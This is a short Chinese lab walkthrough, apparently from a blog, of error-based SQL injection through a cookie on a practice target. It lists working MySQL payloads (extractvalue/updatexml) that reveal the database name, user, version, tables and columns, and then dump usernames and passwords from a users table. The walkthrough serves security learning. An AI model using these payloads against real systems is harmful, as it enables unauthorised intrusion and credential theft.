1、判断闭合方式
我们在cookie的后面加上一个',返回页面如下:
![9c46be1873493aaad9f6854d7870a360.png](https://img-blog.csdnimg.cn/img_convert/9c46be1873493aaad9f6854d7870a360.png)
我们再将'改成'#,返回页面如下:
![69538458c01fa5444c561104d2098e13.png](https://img-blog.csdnimg.cn/img_convert/69538458c01fa5444c561104d2098e13.png)
这说明闭合方式是'。
2、确定注入方式
我们在判断闭合方式时发现,该网站会返回报错信息,又没有回显,因此适合使用报错注入。
3、爆破数据库名,用户名,版本
输入语句
' and extractvalue(1,concat('~', concat(database(),user(),version()),'~'))#
,返回页面如下:
![a60319b11a30ef8db84490e584ea12f0.png](https://img-blog.csdnimg.cn/img_convert/a60319b11a30ef8db84490e584ea12f0.png)
4、爆破数据表名
输入语句
' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1)#
,返回页面如下:
![de5e74c8b3a98724806c01bc749938fe.png](https://img-blog.csdnimg.cn/img_convert/de5e74c8b3a98724806c01bc749938fe.png)
5、爆破列名
输入语句
' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),'~'),1)#
,返回页面如下:
![80db3d8f0ee90d366c9046cd8a87d439.png](https://img-blog.csdnimg.cn/img_convert/80db3d8f0ee90d366c9046cd8a87d439.png)
6、爆破字段内容
输入语句
' and extractvalue(1,concat('~',(select group_concat(concat(username,'-',password)) from users),'~')) #
,返回页面如下:
![68eb03869fbcc68e65d41b64a4d4c0ad.png](https://img-blog.csdnimg.cn/img_convert/68eb03869fbcc68e65d41b64a4d4c0ad.png)
我们发现还是显示的内容不全,我们将语句改为:
' and extractvalue(1,concat('~',mid((select group_concat(concat(username,'-',password)) from users),15,18),'~')) #
,返回页面如下:
![e9845e486d50577f628286ec6cb7ed87.png](https://img-blog.csdnimg.cn/img_convert/e9845e486d50577f628286ec6cb7ed87.png)
到此打靶结束